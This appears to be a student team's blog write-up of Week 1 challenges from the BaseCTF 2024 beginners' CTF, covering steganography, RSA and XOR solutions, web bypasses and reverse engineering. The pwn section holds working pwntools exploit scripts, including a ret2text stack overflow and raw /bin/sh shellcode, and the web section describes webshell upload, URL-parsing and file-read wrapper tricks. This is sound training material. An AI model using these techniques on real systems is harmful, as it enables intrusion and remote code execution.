惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

aimingoo的专栏
aimingoo的专栏
S
Securelist
博客园 - Franky
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
IT之家
IT之家
GbyAI
GbyAI
Microsoft Azure Blog
Microsoft Azure Blog
The Cloudflare Blog
云风的 BLOG
云风的 BLOG
N
News and Events Feed by Topic
AI
AI
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Schneier on Security
Schneier on Security
Attack and Defense Labs
Attack and Defense Labs
Vercel News
Vercel News
腾讯CDC
Google DeepMind News
Google DeepMind News
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
M
MIT News - Artificial intelligence
WordPress大学
WordPress大学
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
N
Netflix TechBlog - Medium
量子位
S
Schneier on Security
Hacker News: Ask HN
Hacker News: Ask HN
Cyberwarzone
Cyberwarzone
S
Security Affairs
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
N
News and Events Feed by Topic
T
Tenable Blog
PCI Perspectives
PCI Perspectives
MyScale Blog
MyScale Blog
L
Lohrmann on Cybersecurity
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
C
Cyber Attacks, Cyber Crime and Cyber Security
W
WeLiveSecurity
N
News | PayPal Newsroom
P
Proofpoint News Feed
O
OpenAI News
C
CERT Recently Published Vulnerability Notes
B
Blog
Cisco Talos Blog
Cisco Talos Blog
Microsoft Security Blog
Microsoft Security Blog
V
Visual Studio Blog
MongoDB | Blog
MongoDB | Blog
大猫的无限游戏
大猫的无限游戏
A
Arctic Wolf
Y
Y Combinator Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Spread Privacy
Spread Privacy

猫涅的秘密结社

关于就职的思考 hackthissite-org 数据库原理相关 关于在与我互动前你可能需要了解的事 信安roadmap 个人主页开发汇报 六级生词速记本——附考后感想 数据结构C++自学相关 NewStarCTF-2025 三款steam付费番茄钟软件测评 夏令营-ai hello-world qt环境下的c++程序编写 新新的年 qq机器人配置二三事 搞点java 读书笔记-当下的力量 网页小修时间 glibc更新记录 Vulhub在线靶场记录 Vulhub记录(旧的) 神奇脚本在哪里-CTF之Pwn 逆逆逆逆逆向-CTF之reverse 求解 夺旗时间 学学学 渗透测试相关 协议/漏洞/网络 最新的知识点 数据分析相关 zico2解析 OverTheWire-bandit解析 CTF实战相关2 靶机解析-gigachad ctf实战相关1 复习time 开学季 维修时间 小小修整 学校实训-笔记 每周靶机之Beelzebub 读书笔记-如何阅读一本书 DC-4解析 DC-2解析 每周靶机之ted 靶机-DC-1 每周靶机之bob potato解析 xss跨站点脚本攻击 每周靶机之Tommyboy1dot0 owasp命令执行漏洞 owasp文件包含漏洞 每周靶机之WALLABY'S-NIGHTMARE owasp上传漏洞 Hackademic.RTB1 owasp与sql注入与sqlmap liunx中sudo服务相关知识 liunx中ssh服务相关知识 moneybox解析 C语言相关1 关于加入aplayer的方式 再来一次 关于在next7.8.0中建设评论功能这件事 目前的进展 编辑小提示
BaseCTF高校联合新生赛2024
nirvana_felis · 2024-08-16 · via 猫涅的秘密结社

已经收到Kengwang的礼物啦
鉴于某些不可明说的原因 第二周开始就放官方writeup 并作为自主练习 不主动参赛了
目前更新到了第一周的writeup

第一周-我们的writeup

这里是队伍0penness在BaseCTF 高校联合新生赛中对于题目的相关解答&writeup
爱来自猫涅&真理教教主

Misc

[Week1] 你也喜欢圣物吗

2
解压之后得到了一张图和压缩包
压缩包有密码保护 那么密码铁定就在这张图里边
放入stegsolve 解析图片
3一眼base加密 拿去解码
4
结果是个小提示 说明该图片经过了LSB加密
解密后翻到最上边确实有隐藏信息
5
用这段key打开压缩包
6
里面照样藏了个加密的压缩包 密码爆破也没用处 直接提示错误
根据压缩包的名称我们可以猜测这是一个伪加密zip
将他放进010editor 更改他的属性 解除伪加密
1
然后解压就是了 是个txt 还是一眼base加密
7
这是初步的结果 把前面的干扰项flag删除 继续解密
8
flag get
9

[Week1] 根本进不去啊!

网站进不去怎么办涅
nslookup一下网站dns记录吧
19
结束了

[Week1] 海上遇到了鲨鱼

wireshark解包题 总之ctrl+f 字符串 flag
16
有一个flag.jpg 和 flag.php 都追踪tcp流之后发现藏在php的里边
17
flag字段明显是反转过的 去找网站转回来
18
完事

[Week1] 正着看还是反着看呢?

把文件放进了ida pro 没什么好注意的点 除了hex编码下有一些倒转的flag.txt
22
难道是要将整个文件的某种编码进行反转?
这里就搜到一个正好能用的小工具
23
放进去转了一下 出来个inversion.bin
24
表面是张jpg 但hex码中有flag.txt的字眼 经过判断 这是个经过binwalk组合的文件
进自带binwalk的kali 把他拆成两半 获得flag
25

[Week1] Base

打开一看 一眼base加密

20
21
获取

[Week1] 人生苦短,我用Python

总之就是一个条件一个条件的掰flag
最后better个be部分没提示了,但是有hash爆破
BaseCTF{s1Mpl3_1s_??Tt3r_Th4n_C0mPl3x}
我不记得是猜Be还是用下面的exp爆的,这题做的我昏过去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib
import itertools
# 给定的flag模板和哈希值
flag\_template = 'BaseCTF{s1Mpl3\_1s\_BeTt3r\_Th4n\_C0mPl3x}'
target\_hash = 'e40075055f34f88993f47efb3429bd0e44a7f479'
# 可能的字符集(这里假设是小写字母和数字)
charset = 'QAZWSXEDCRFVTGBYHNUJMIKLOPabcdefghijklmnopqrstuvwxyz0123456789'
# 遍历所有可能的两个字符组合
for chars in itertools.product(charset, charset):
# 生成当前尝试的flag
current\_flag = flag\_template.replace('??', ''.join(chars))
# 计算当前flag的SHA-1哈希值
current\_hash = hashlib.sha1(current\_flag.encode()).hexdigest()
# 检查哈希值是否匹配
print(current\_hash)
if current\_hash == target\_hash:
print(f"找到匹配的flag: {current\_flag}")
break # 找到匹配项后退出循环
else:
print("没有找到匹配的flag")

[Week1] 捂住X只耳

给了段音乐 提示为“屏蔽立体音,发现隐藏的东西”
我是在用potplayer尝试用不同音轨输出时发现的
10
将中置声音完全屏蔽 增大其他轨道的音量 仔细听会有五段规律相同的摩斯密码
那时候有点太兴奋了忘了记录过程 总之录屏下来放进了pr 用音轨可视化得出了摩斯密码
11

12

[Week1] 倒计时?海报!(包括公开版和公开前)

群相册里有十张倒计时的图片 每一张都藏着一部分flag
鉴于已经公开了flag 我这里列出部分过程截图
13
14
15

[Week1] 签到!DK 盾!

这个就没啥好说的了

Crypto

[Week1] ez_rsa

题目给了n e c 还有not_phi=(p+2)(q+2)=p*q+2p+2q+4
要算出私钥d就要算出n的欧拉函数
n的欧拉函数是(p-1)
(q-1)=p*q-p-q+1

n = p*q
所以这是初中生就能解决的因式问题

n的欧拉函数 = (not_phi-n-4)//2

得到欧拉函数就可以用模逆元算d

有c d n就有明文

exp如下

1
2
3
4
5
6
7
8
9
10
11
import libnum
from sympy import mod\_inverse
e=65537
c=37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
not\_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
pplusq=(not\_phi-n-4)//2
phi=n+1-pplusq
d = mod\_inverse(e, phi)
m=pow(c,d,n)
print(libnum.n2s(m))

[Week1] babypack

加密脚本的过程大概是

  1. 把flag转换为2进制
  2. 创建一个随机数列表a,可以观察到每个随机数必然是后一个的两倍多一点
  3. 然后看flag的2进制中的每一位是不是1,如果是则将随机数列表里对应数加到变量c上

我们有的是a和c
那么就可以让a[i]和c比大小,判断第i+1位是不是1

总之exp如下

1
2
3
4
5
6
7
8
9
10
# a = ···
# c = ···
for i in a:
if c>i:
c-=i
print(1,end='')
else:
print(0,end='')
flag=0b10000100110000101110011011001010100001101010100010001100111101100110010011000110011010001100010001100000110001100110001001101010010110100110011011000100110010101100101001011010011010001100101001101000110000100101101011000100110010100110110011001010010110100110000011001100011001000110001011001010011010000110100011000100110010000110100011000110011100101111100
print(libnum.n2s(flag))

[Week1] babyrsa

rsa算法,但是没有p和q,直接取n
我猜n大概率是素数,所以直接算它的欧拉函数

exp如下

1
2
3
4
5
6
7
8
9
import libnum
from sympy import mod\_inverse
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
phi = n-1
d = mod\_inverse(e, phi)
m = pow(c,d,n)
print(libnum.n2s(m))

[Week1] 十七倍

明文m转秘文c的算式为
m*17%256=c

那么 m=c*17关于256的模逆元%256
可以很容易的知道是241

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cipher = [
98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
180, 113, 146, 148, 163, 79, 78, 48, 231, 77
]
for int in cipher:
print(chr(int),end='')
print()
for i in range(len(cipher)):
cipher[i] = (cipher[i]\*241) % 256
for int in cipher:
print(chr(int),end='')
# 或者,如果你不想使用预定义的逆元
# x = solve\_modular\_equation(y, multiplier=17, modulus=256)
# print(f"x = {x}") # 同样应该输出 x = 148

[Week1] helloCrypto

很简单的一道
aes是对称加密,即然key给了就能直接解

exp如下

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import \*
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
import libnum
key = libnum.n2s(208797759953288399620324890930572736628)
my\_aes=AES.new(key=key,mode=AES.MODE\_ECB)
c = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'
decrypted\_padded = my\_aes.decrypt(c)
print(decrypted\_padded)

[Week1] 你会算md5吗

题目的加密过程,是将flag里的每一个字符都单独拎出来算一遍md5
那么只要把ascii表上的字符都算一遍做成字典,然后和密文撞就行了

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import hashlib
import string
def build\_md5\_dict():
md5\_dict = {}
characters = string.ascii\_letters + string.digits + string.punctuation
for char in characters:
md5\_hash = hashlib.md5(char.encode()).hexdigest()
md5\_dict[md5\_hash] = char
return md5\_dict
# 构建并打印MD5字典(注意:这里只打印了一部分以节省空间)
md5\_dict = build\_md5\_dict()
# 注意:由于MD5的哈希冲突可能性极低(但不为0),我们假设在这个小字符集中没有冲突。
def recover\_string\_from\_md5\_list(md5\_list, md5\_dict):
recovered\_string = ""
for md5\_hash in md5\_list:
if md5\_hash in md5\_dict:
recovered\_string += md5\_dict[md5\_hash]
else:
# 如果MD5列表中包含未知的MD5值,可以选择跳过或抛出异常
recovered\_string += "?"
return recovered\_string
# 示例MD5列表
md5\_list = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
# 使用步骤1中生成的md5\_dict来恢复字符串
recovered\_string = recover\_string\_from\_md5\_list(md5\_list, md5\_dict)
print(recovered\_string)

Web

[Week1] HTTP 是什么呀

满足题目所有要求
text
text

就能在网络包里发现flag
text

[Week1] 喵喵喵´•ﻌ•`

easy
alt text

[Week1] md5绕过欸

md5函数不能接受数组
会返回false
弱比较和强比较都能绕
alt text

[Week1] A Dark Room

我也玩过
flag在注释里
alt text

[Week1] upload

直接传马上去就行了
text
text
text

[Week1] Aura 酱的礼物

pen检查用伪协议data%3A%2F%2Ftext%2Fplain%3Bbase64%2CQXVyYQ%3D%3D过
challenge难点

  1. 需要以http://jasmineaura.github.io开头
  2. 需要让访问到的内容包含已经收到Kengwang的礼物啦

而这个网页指向的博客,在题目开始的时候,有一篇文章却是包含了已经收到Kengwang的礼物啦
但后来被删了,我没来得及蹭到
所以通过url的奇妙结构
http://[email protected]

@后面的才会被当作域名解析
然后用gift直接包含得不到flag,所以用任意文件读取的伪协议
alt text

base64解密
alt text

Pwn

[Week1] 签个到吧

nc challenge.basectf.fun 32200
cat /flag直接有

[Week1] echo

用echo打印flag

[Week1] Ret2text

可以看到shell的地址
alt text
而字符串大小为32
alt text

也就是32+8位数据填充实现栈溢出,然后用shell地址覆盖ret地址
exp如下

1
2
3
4
5
6
from pwn import \*
context.log\_level='debug'
sh = remote('challenge.basectf.fun',31868)
payload=b'0'\*(32+8)+p64(0x4011BB)
sh.sendline(payload)
sh.interactive()

[Week1] shellcode_level0

用pwntools喵喵工具生成shellcode,直接出
alt text
alt text
alt text

exp如下

1
2
3
4
5
6
7
from pwn import \*
context.log\_level='debug'
sh = process('./shellcode\_level0')
elf = ELF('./shellcode\_level0')
payload=b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
sh.sendline(payload)
sh.interactive()

[Week1] 我把她丢了

栈溢出的残缺后门+nx保护
不太懂,上网照喵画虎弄出来的
alt text
alt text

Reverse

[Week1] You are good at IDA

ida拖进去看的三个函数,有flag的三部分,拼起来就好了
text
text
text

[Week1] UPX mini

用upx妙妙工具解壳,
然后就看到了base秘文
用cyberchef妙妙工具得flag
alt text
alt text
alt text

[Week1] ez_maze

迷宫题
找到了地图和长宽数据
text
text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
x$$$$$$$$$$$$$$
&&&&&&$$$$$$$$$
&$&$$&$$&&&&&$$
&$&$$$&&$$$$&$$
&$$$&&&$$$$$&$$
&$$$&$&&$&$$$$$
&$$$&$&$$&&&$$$
&&&&&$&&&&$&$$$
$$$$$$&&&&&&$$$
$$$$$$&$$$$$$$$
$$$&&&&$$&&&$$$
$$$&&&&&&&$$$$$
$$$$$$$$$&$$&$$
$$$$$$$$$&$&$$$
$$$$$$&&&&&&&&y

&是路,$是墙,用最短路线走到y
alt text
然后转md5就是flag了

[Week1] Ez Xor

用ida看到如下内容
alt text
alt text
alt text

这段程序通过keystream函数生成了长度为28的key
然后通过encrypt函数对用户的输入进行xor运算
然后通过checkflag函数将加密后的用户输入和str比较

由于

  1. key是固定生成的
  2. xor的逆运算是再xor一遍
    所以能够用c将keystream 和 encrypt实现
    将str作为输入
    就能得到flag了

str如下
alt text

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
void decrypt(int \*v14,int \*str,int v17){
for (int i=0;i<v17;i++){
printf("%d", str[i]);
str[i]=str[i]^v14[v17-i-1];
printf("%d %d\n",str[i], v14[v17-i-1]);
// printf("%d",str[i]);
}
return ;
}
void KeyStream(int \*v4,int \*v14,int a3){
for (int i=0;i<a3;i++){
v14[i]=i^v4[i%3];
// printf("%c",v14[i]);
}
return;
}
int main(){
int v4[3]={'X','o','r'};
int v14[28]={88,110,112,91,107,119,94,104,122,81,101,121,84,98,124,87,127,99,74,124,102,77,121,101,64,118,104,67};
// int v14[28];
int v5[28];
int str[28]={1,9,5,'%','&','-',0x0B,0x1D,'$','z','1',' ',0x1E,'I','=','g','M','P',8,'%','.','n',5,'4','\"','@',';','%'};
KeyStream(&v4,v14,28);
decrypt(v14,str,28);
// for(int i=0;i<28;i++){
// printf("%d,", v14[i]);
// }
for(int i=0;i<28;i++){
printf("%c", str[i]);
}
return 0;
}

[Week1] BasePlus

伪代码如下
alt text
alt text
alt text

其加密逻辑大致是

  1. 将用户的输入以3个字符为单位分组,不足的用0作为填充
  2. 加载每个分组,通过二进制运算得到下标,通过secret字典产生4个密文
  3. 最终的密文长度,就是分组数*4

程序提供了加密后的flag
我们可以通过flag的每4个字符,和secret字典比对得到每4个下标

这4个下标来自于明文的每3个字符

1
2
3
4
5
// 一个字符有8bit
(unsigned \_\_int8)v15 >> 2 // 第一个字符的前6个bit
(HIBYTE(v15) >> 4) | (16 \* v15) & 0x30 // 第二个字符的前4bit和第一个字符的后2bit
(v16 >> 6) | (4 \* HIBYTE(v15)) & 0x3C // 第三个字符的前2个bit和第二哥字符的后4bit
v16 & 0x3F // 第三个字符的后6bit

总之,我们只要把所有的bit拼回去,就能得到flag

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
flag = "lvfzBiZiOw7<lhF8dDOfEbmI]i@bdcZfEc^z>aD!"
secret="/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC"
flag = list(flag)
for i in range(len(flag)):
flag[i] = ord(flag[i]) ^ 0xE
for i in range(0, len(flag),4):
a1=secret.index(chr(flag[i])) # v15 前6位 为00111111
a2=secret.index(chr(flag[i+1])) # v16的前4位和v15后2位为00001111和00110000
a3=secret.index(chr(flag[i+2])) # v16的后4位和v17的前2位00111100 00000011
a4=secret.index(chr(flag[i+3])) # v17的后6位00111111
v15\_1 = (a2 & 0b00110000)>>4
v15\_2 = a1<< 2
v15 = v15\_1 | v15\_2
v16\_1 = (a2 & 0b00001111) << 4
v16\_2 = (a3&0b00111100) >> 2
v16=v16\_1|v16\_2
v17\_1=(a3&0b00000011)<<6
v17\_2=(a4 & 0b00111111)
v17=v17\_1|v17\_2
print(chr(v15),end='')
print(chr(v16),end= '')
print(chr(v17),end= '')

结尾/引用


We are just another visitor in a transient world.